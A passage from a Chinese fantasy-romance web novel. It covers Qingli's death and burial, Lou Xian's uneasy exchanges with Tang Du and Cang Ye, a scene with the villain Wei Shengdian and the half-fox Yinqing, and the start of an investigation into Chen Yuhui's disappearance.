二人的声音越来越远,最后完全消散在耳边。
月轮高挂,焰火后是无边的沉寂。
鱼儿探头,小巷安睡,落叶漂浮在落雨池缸里,漂漂悠悠。
娄弦双手枕在脑袋下,睁睛看着床幔,睡意全无。
她翻身侧躺,月光照来,看着凹凸石砖上的横纹。
他们会说些什么……答些什么……
疯了。
娄弦再次翻身躺平,强行闭上眼。
自己真是病的不轻,眼下这个节骨眼上竟然在意儿女情长,不如想想怎么快些找全魂珠,重回刹冥台手刃叛徒。
她重重呼出一口气,睡去。
睡意还未袭来,一道光芒倏然照亮整间屋子,有什么东西猛然撞进了娄弦身体。
她陡然睁眼,惊愕看着床幔。
娄弦僵硬着身子,感受心口某处空缺被填满,暖意生长,渐渐融合。
屋内光亮消去,娄弦抬手捂上心口。
那原本属于她的东西在这一刻归位了。
所以……
“……青鲤。”娄弦喃喃。
山峦笼罩在沉沉雾霭之中,影影绰绰,看不真切,远处庙宇钟声悠悠回荡在空旷的山谷。
窗户紧闭,没有风的吹拂,显得格外清冷。香炉中的青烟袅袅升起,屋子里静极了。
青鲤双目紧闭,安静的躺在床榻之上,仿佛只是沉沉睡去,待睡足够了就会醒来。
“怎么会……明明昨夜还好好的……”拂琵的声色带着哀伤。
昨夜还一起看焰火许愿的人,今日却再也醒不过来了。
娄弦神色黯淡,她比大家更早知道青鲤是何时走的。
她捂上心口,昨夜的暖意已经散去。
“青鲤的身体她或许自己清楚,日夜的疼痛虽被缓解,可也不是假的,现在她终于不用承受这痛苦,我们应为她高兴。”唐渡在一旁默声道。
柳式通的药虽能缓解青鲤的痛苦,可这些磨难终归是要她自己承受,没有人可以感同身受。
眼下彻底解脱了,或许,她已经见到阿汝了。
“好事。”娄弦依旧是那句话,所有的一切都是好事。
“找个好地方,将青鲤葬了吧。”娄弦道。
生有根,死有归,青鲤也该有个归途。
青鲤被葬在了阿含谷灵气充沛的地方,连同阿汝的灵牌一起。
天气灰蒙蒙的,乌云堆聚,是个阴天,石碑上刻着:青鲤阿汝同祭。
陈御裴在青鲤的碑前站了会儿,说是要回去送陈玉茴。
当初因怨魂一事,陈玉茴跟着妖殿司的人来了荆州,眼下怨魂的事告一段落,妖殿司的人也准备回京,陈玉茴自然也是要回去了。
只是……
拂琵疑惑:“前些日玉茴姑娘还说想在荆州多待几日,怎么说走就走了。”
一旁的唐渡面目平静解释:“或许是家里人担心,来信催促。”
也是。
陈玉茴是个女子,外头的暗藏的麻烦总比男子多些,家人也难免更担忧。
娄弦看着石碑没有说话,不知在想什么。
唐渡抬头看了看天,转了话道:“快些走吧,瞧着要下雨了。”
二人离去,见娄弦只身未动,依旧在看青鲤的石碑。
“阿弦?”拂琵唤她。
娄弦头也不回:“你们先走吧,我想一个人待会儿。”
拂琵抬头,黑云比刚才更浓密了些。
她顿声道:“那你别待太久了,马上下雨了。”
“好。”娄弦应道。
唐渡瞧着她,本想说些什么,可话到嘴边又咽了下去,最后转身离去。
整个林间只剩下娄弦一人。
她目色不明看着青鲤的石碑,可眼神分明是在想别的事情。
怨魂已除,身上的伤也已痊愈。
刹冥台易主,情况未知,魂珠只寻回一半,有太多的事等着她去做,她没有在阿含谷待下去的理由。
是时候离开了。
可是……
昨夜的焰火太过绚烂,那些美好的东西总是那么吸引人。
可她无法抓住。
她独来独往惯了,在这一切发生之前,她没有朋友,没有她在乎和在乎她的人,所以她对谁都不手软。
可现在不一样了。
拂琵重情,单纯又良善,往后的路凶险未知,她不想拖累拂琵。
还有那人。
脸上有冰凉的东西落下。
她伸手一摸,抬头看天,一滴雨水落在她眼尾。
空中豆大的雨点瞬间齐齐落在身上。
“下雨了。”娄弦轻喃。
她叹了口气,像是下定某种决心。
还是不要找人一起淋雨的好,雨点打在她身上就好,免得把旁人淋湿。
她抬手挡雨加快步子跑起来,视线被遮挡,娄弦看不清眼前的路,身影穿梭,恍然间和谁撞了个满怀,她一个踉跄没站稳,一双有力的手即刻扶住她。
土壤在雨中迸发出醇厚而湿润的气息,与鼻尖滑过的竹香融合在一起,雨珠从伞间落下,连成一线。
顺着伞柄骨节分明的手往上,伞下那张熟悉的脸正望着娄弦。
苍邺身上带着雨气,身上却未被雨水打湿,依旧是一脸从容的模样:“你们还真会找地方。”
娄弦这才意识到,他们将人葬在了某人静心养伤的地方……
娄弦将手从苍邺手中挣脱而出,保持了距离说:“青鲤离你养伤的地方还有
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些距离,你可别污蔑我没帮你保守秘密。”
苍邺突地笑出声,语气怪异:“我又没说怪你。”
说得倒像是娄弦先误会了他。
二人同撑一伞,耳边是雨打在油纸伞的轻撞声,如玉琴轻弹,时急时缓。
雨幕若纱,又似烟似雾,模糊的叫人看不清。
街巷中的石板路被雨水洗刷光亮,雨水落进池中,涟漪出片片水花。
雨淅淅沥沥下个不停,朦胧之中,有一道声音清楚传来:“娄弦,我给你拿了伞。”
第一次听见唐渡叫自己名字了。
娄弦诧异转头,正见唐渡一袭道袍慢步走来,他的道袍被打湿一角,几缕微散的发丝落在额角,像是来的匆忙。
他撑着一把伞,又将手中另一把伞撑开递到娄弦面前,静静等待她接过。
娄弦站在二人中间,雨噼里啪啦落下,唐渡的袖袍处沾了雨水,打湿大片,连递伞的手也沾了雨珠,可仍旧固执不肯收手。
娄弦静默半晌,下一刻她伸出手,接过了唐渡递来的油纸伞,触过他的指尖,有些发凉。
“走了。”娄弦打开伞,背对着苍邺,随意朝他挥手。
苍邺挂了笑:“好。”
他望着二人离去的背影,勾了勾嘴唇,朝反方向走去。
路上,唐渡娄弦一人撑一把伞,并排走在一起,谁也没有说话。
唐渡率先打破沉默:“上回你去见的人,是他?”
唐渡并不确定,只是心中隐隐有些猜测。
方才见天快下雨,娄弦又迟迟没有回来,怕她淋湿,这才找了伞特意回去找她,没想到碰巧看见刚才那一幕。
二人相谈的神色,并不像是陌生人,倒像是,朋友。
一个他从未见过,也未听娄弦提起的朋友。
娄弦笑出了声,转头看向唐渡:“你好奇?”
雨伞恰巧遮住唐渡上半张脸,看不全他的表情。
雨珠顺着伞面嘀嗒落下,唐渡迟迟没有说话。
娄弦敛了表情,转过头道:“管它黑猫白猫,能抓到老鼠的就是好猫。”
不管她上回去见了谁,最终还是找人将青鲤体内的怨魂引出来了,还把其余怨魂也收了,结果是好的。
可娄弦说的话显然并不是唐渡想听的。
他撑伞的步子稍稍有些加快了。
娄弦察觉到他有些生气,忽感到好笑:“唐道长,昨夜玉茴姑娘独独找你留下说话我也没有多问,你在生什么气?”
生什么气?
是啊,他在生什么气?
唐渡的脚步忽然停了。
娄弦慢步跟了上去,伸手将唐渡握伞的手抬了抬,直到完全露出伞下那张清俊的脸。
这张脸有些愠怒,像是被人拆穿又不愿承认的别扭。
唐渡握伞的手略紧,强行逼自己直视娄弦的眼睛,仿佛只有这样,才能证明他的“生气”是合理的。
娄弦细细打量他的表情,忽然“呵”了一声:“唐道长,你修为不够啊。”
连掩饰自己的情绪都不会。
抬在腕间的手忽然抽离了,娄弦转身离去。
烟雨中,那抹撑着油纸伞的红影修长,远去的背影利落又不带留恋。
唐渡喉间滚动,正欲开口:“昨夜——”
“唐道长,多谢你的伞。”娄弦头也不回的打断。
有些事她也不是非知道不可。
反正,以后也不一定会再见了。
32. 陈玉茴失踪
翌日清晨,天光破晓,古寺晨钟撞来,沉稳低鸣。
街上商铺开张,冒着热气的面条热腾腾出锅,撒上葱花淋上热油,香气瞬间飘散开来。
吆喝声传来,有娘子走到簪花前相看,商贩挑担走过,车马来往,人间一片光景。
刹冥台内,披着黑色斗篷的少年摘下面具,露出深邃精致的五官,随后抬手掀开斗篷帽子,一头漂亮的银发滑落下来。
“尊主。”他微微垂眸,不去看殿台上高立之人。
隗圣殿幽深的声音从上方传来:“人跑了?”
“被人救下了。”少年如实道。
隗圣殿哀怨的叹了口气,语气颇有些失望:“银卿啊银卿,你是我最器重之人,你不能再叫我失望了。”
少年嘴唇紧抿,依旧低头看着地面,良久,他慢慢启唇:“我娘,她怎么样了。”
隗圣殿走下殿台,站到银卿面前,一手搭在他肩上,意味深长道:“当初你遭族人嫌弃,你和你娘险些命丧狐谷,是我救了你,你可还记得你的承诺?”
“记得。”银卿加重音道,“助您早日获得魄天炽火,成就大业。”
隗圣殿满意的笑了:“你记得就好。”
银卿抬头,对上隗圣殿希冀的眼神,不知怎的又想起在慈女村遇见的女子。
那模样,总觉得在哪里见过。
“尊主。”银卿嚅唇,“我想见见我娘。”
隗圣殿的笑容滞在脸上,随后又摆出一副大度的模样:“去吧,她是你娘亲,日后想见她,不必同我说。”
少年脸上这才露出笑容,他抱拳道谢:“多谢尊主。”
随后小跑着出了宫门。
看着少年离去的背影,隗圣殿慢慢敛了表情,慢步走到殿中央的案台前。
案台上放着一幅画,是一个手握长戟的红衣女子,神情肆意姿态张扬,那不可一世的模样叫隗圣殿目光一沉。
娄弦啊娄弦,我能助你,自然也能阻你。
银卿跑出长弦宫,一路小跑到沉香阁。
“娘!”
听到银卿高喊的声音,吕文音急匆匆从沉香阁走出来。
母子相见,吕文音热泪盈眶,她不断摸着银卿的脸颊,一遍又一遍看着。
“我儿瘦了,也高了,刹冥台的人可有欺负你?”吕文音满脸担忧的看着儿子,抓着他的手紧紧不放。
银卿笑着将母亲牵进屋,笑着说:“娘放心,这里不是狐谷,尊主器重我,刹冥台的人自然也不会怠慢我。”
吕文音察遍了银卿全身,这才放心下来。
吕文音是狐族,银卿父亲是人族,因着半人半妖的身份,银卿自小不被狐族待见。不仅不承认银卿的身份,还处处孤立他,给他使绊子,骂他是狐族的耻辱、野种,该早早死在外头。
每每从外头回来,都能看见银卿满身的伤痕。
为了母亲不受伤害,面对其余狐妖的谩骂毒打,银卿都将苦难咽进肚子,可吕文音都看在眼里。
来刹冥台两年有余,还时时提心吊胆怕银卿受欺负。
“尊主对我们好,我们得记着他的恩情,若不是尊主,我们恐怕早死在狐谷了。”吕文音叹了口气。
那次狐谷死了一只狐妖,不知是意外还是被人杀害,谷中所有人一口咬定是银卿干的,只因他们先前起了冲突。
吕文音矢口否认,一遍又一遍解释,可无人信他们。
有狐妖扬言一命抵一命,狐族岂能任由一只半妖胡作非为。
这一建议得到了所有狐妖的认可。
银卿被狐妖围在中央,吕文音护子心切,将银卿抱在怀里,就在二人被打死时,是隗圣殿出手救了他们。
所以这些年吕文音一直告诉银卿,尊主是我们的大恩人,我们所做的一切都是为了报答尊主。
银卿自然也这么认为,所以他对隗圣殿忠心耿耿,一心助他完成大业。
“不说这个了,今日尊主告诉我,以后我若是想来看你,不必经他同意随时都能来。”银卿的声音带着高兴。
吕文音自然也高兴:“是嘛,那真是太好了,他时刻为我们母子考虑,以后你可得更尽心了……”
……
天气渐渐转凉,前几日又下了几场大雨,阿含谷的池水又涨了半截。
拂琵抱着大包小包的东西从外面进来,松下一口气将东西放在桌上。
娄弦看着桌上那堆不知名的东西好奇:“又是陈御裴送给你的?”
拂琵擦了擦额前的汗水,兴致勃勃道:“这些都是我去街上买的,不知路上会用到什么,就先备着了。”
前几日她得知娄弦要离开阿含谷了,她们二人用的吃的,多少都得准备些。
见娄弦不说话,拂琵点了点桌上的东西,疑惑道:“是还缺了些什么吗?”
娄弦看着拂琵明亮的眼睛,忽有种说不上的感觉。
她自顾坐下,摩挲着桌上的茶杯道:“是我一个人走。”
空气好似一瞬间安静下来。
拂琵搭在包裹上的手渐渐松落,眼帘轻垂,方才的兴致顷刻间烟消云散。
她慢慢启唇,声音带着自嘲:“是怕我拖累你吗?”
娄弦握着茶盏的手微微一紧,随后又松懈下来。
她不敢看拂琵的眼睛,只盯着茶盏中的倒影:“是怕我拖累你。”
寻找魂珠的路必定充满艰辛,还有隗圣殿和魄天炽火,拂琵跟着她,不划算。
一只柔软的手忽然抚上娄弦手背。
拂琵看着她,嘴角挂了笑:“你不会拖累我,我也不会拖累你。”
“我们是彼此的朋友,怎么会是负担呢。”
没有人在意过拂琵的性命,在所有人看戏的目光中,娄弦出现了,用一把长弓救下了她,将她带出闇狴城,过上了普通平静的生活。
没有人在意过娄弦的性命,在所有人要她死时,拂琵出现了,用一颗真心温暖了她,将她带出囹圄,过上了有朋友有烟火的日子。
她们不是彼此的负担,是彼此的挚友。
娄弦忽然笑了。
她轻咳一声,佯装严肃点着拂琵买的包裹:“我看看还缺些什么,回头需要的我们一块儿去买。”
拂琵“噗嗤”笑出声,任由娄弦翻看着:“过几日天气转凉了,我们得备些厚点的袄子……”
……
临走前,拂琵最后一次来饲药司帮柳式通检药。
娄弦坐在一边看着。
她手中剥着一只蜜桔,将剥好的果肉放进嘴里,汁水迸溅,酸甜可口。
见娄弦吃的津津有味,陈御裴忍不住吞了吞口水,正要伸手去拿,一只手狠狠打在他手背。
娄弦斜眼看他,警告道:“做什么?我买的。”
看着被拍红的手背,陈御裴悻悻收回手,仍旧有些不甘心回嘴:“我付的钱……”
“那又怎样?”娄弦重新拿起一只橘子,当着陈御裴的面塞进嘴里。
好恶毒的女人!
娄弦力气大,又会术法,陈御裴打不过她,只能忿忿看她将余下的橘子吃光。
“唉。”
陈御裴叹了口气,将目光转向专心帮忙的拂琵。
同样都是女子,怎么性格差别这么大。
拂琵温婉似水,又不爱生气,见谁都笑吟吟的,初见她时就在这饲药司。
那时她在低头研药,穿一水蓝烟云裙,斜插一宝珠簪,美得像从画中出来一般,那场景陈御裴恐一辈子都不会忘。
想到此处,陈御裴忽有些伤感起来。
他们一起经历了活尸,看了烟火,一眨眼她就要走了,他却没有理由将人留下,日后也不知能不能再见。
注意到陈御裴看着拂琵的眼神,娄弦抽了抽嘴角,将手中最后一只橘子丢了过去。
怀中忽然一沉,陈御裴回神,看见娄弦凉凉的眼神。
“吃橘子。”
陈御裴诧异极了。
良心发现啊,这女人竟然还为自己留了一个!
橘子还没剥开,一个身穿黑甲的司卫冒冒失失跑了进来。
陈御裴纳闷:妖殿司的人不是几日前就回京了吗?怎么还在荆州?
不等陈御裴发问,那司卫已经跪在了地上:“公子,出事了!”
“怎么了,慌成这样?”陈御裴疑惑起身。
“小姐她……”
“我姐怎么了?”
司卫神色懊恼,憋了半天道:“小姐,丢了。”
手中的橘子瞬间落在地上。
“丢了?什么叫丢了!”陈御裴三两步上前抓起地上的司卫,神色急切,“不是叫你们护送回京吗,好端端的为什么会丢了!”
司卫深知自己失职,擦了把额角的汗说:“我们顺着原路返京,路上小姐的情绪一直不高,整个人看起来失魂落魄的。”
“到了乾州城无定观,小姐说想进去静静心,让我们在外面守着别去打扰她,可两炷香时间过去,小姐还没有出来。有人提议进去看看,可小姐事先说明了别去打扰,便又等着。”
司卫的神色愈发愧疚:“直到天黑闭观,我们才发现小姐丢了。”
陈御裴脸上的怒意更甚,他将那侍卫推到一边,骂道:“我姐就这么在你们眼皮
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子底下丢了!亏你们还是妖殿司的人!回去如何跟我爹交代!”
司卫战战兢兢不敢说话,低头站在一旁。
拂琵见状放下手中的活,走到娄弦身旁:“阿弦,我们……”
“这件事我不打算帮忙。”娄弦果断回绝。
先前怨魂一事,若非察觉到魂珠的气息,她也不会插手。
在荆州本就耽误许多时日,她是不会为了旁人再耽误自己的事情。
听着外头的吵闹,柳式通也从屋子里走了出来。
听娄弦拒绝的果断,到底是故友的女儿,柳式通劝道:“玉茴不会什么术法,若是被妖人掳走可就麻烦了。”
陈御裴心中急切,见娄弦迟迟不肯答应下来,心中忽然来了怨气:“不必求她!像她这样的人怎会懂得情理!定是知道我姐她——”
“陈御裴!”拂琵骤然打断陈御裴的话。
娄弦却不依不饶,转了音调反问:“像我这样的人?哪样的人?”
她的目光凉了几分,像是孤冬清晨的寒雾,凉薄刺骨。
“你以为我是因为唐渡不去救你姐姐?”
那句未说出口的猜忌被娄弦赤裸裸捅破。
陈御裴咬牙,心虚将头瞥了过去。
她冷笑一声,盯着陈御裴一字一句道:“那是因为有些人对我来说——”
“不重要。”
……
唐渡从外面进来时,几人正围坐在桌边。
娄弦一人坐在角落,双手交叠脑后闭目养神。
陈玉茴失踪的事他已知晓。
因着前些天娄弦那句“修为不够”,唐渡闭关了几日,之后又下山捉妖,忙的没时间去想其他的事。
唐渡一进来,几人将目光投向他,唯有娄弦依旧闭目养神,对进来之人毫不关心。
“唐道长。”陈御裴着急起身。
“我知道。”唐渡在他身旁坐下。
“无定观白日人来人往,想避开这么多人劫走玉茴姑娘不是件易事,更何况身边还有司卫守着,倘若真是妖邪所为,妖殿司的人也该有察觉。”
“明日我们启程去乾州城看看。”
唐渡说罢,陈御裴连连点头。
一旁的拂琵看向角落的娄弦,她自顾坐在一处,微弱的烛光只有半片照在她身上。
拂琵唤她:“阿弦。”
娄弦眼睛都未睁,果断道:“不去。”
烛光照不清她的表情,可听语气大概也知娄弦有些不愉快。
唐渡只当是那日的别扭还未过去,抿了唇道:“那日是我多问了。”
娄弦缓缓睁开眼,眼帘半遮,面色依旧有些疏冷:“此事与唐道长无关,是我不想多管闲事。”
唐渡不知,陈御裴却心知娄弦还在为白日的事生气。
得知姐姐失踪,他关心则乱,说了些伤人的话,眼下平静下来,便觉得自己过了。
救与不救,还得看娄弦自己。
陈御裴走到娄弦面前,将剥好的橘子递过去:“娄姑娘,对不住,今日是我嘴快了,我本不是那个意思,实在是着急了。”
他说娄弦不懂情理,还说是因为唐渡才不愿救他姐姐,现在想来,当真是自己小人之心了。
“娄姑娘,不然我再给你剥一个?”见娄弦不说话,陈御裴小心试探道。
娄弦抬手,拿过陈御裴手中的橘子,掰开一瓣塞进嘴里。
她走到光亮处,在拂琵身边坐下。
“我倒觉得,陈玉茴还在无定观。”娄弦将余下的橘子吃完,又随手朝陈御裴丢去一个。
陈御裴稳稳接住,即刻反应过来。
娄弦这是答应帮忙了!
他乐呵呵走到娄弦跟前,心甘情愿剥开橘子皮。
拂琵无奈摇摇头,问道:“阿弦有什么想法?”
娄弦把三个茶杯倒扣在桌上,将其中一个推了出去。
“若是你家仇人来寻仇,为何不在来阿含谷路上将人劫了,或是在荆州动手也行,非得等回去时在无定观动手?”
娄弦将第二只杯子推了出去:“若是妖邪,确实能做到不露声色将人带走,可唐渡说了,若是妖邪所为,外头那么多妖殿司的人,竟一个也没察觉?它将陈玉茴掳走的目的又是什么?”
“扬名?还是提升修为?”
“既是名扬利万,就该把事情闹得人尽皆知,这样才会令人恐慌害怕,可陈玉茴消失的无声无息,扬名怕是不可能了。”
“提升修为?那便容易多了,明日到了乾州城四处打听一番,附近可有什么失踪之人,失踪之人越多,越容易打听出消息。”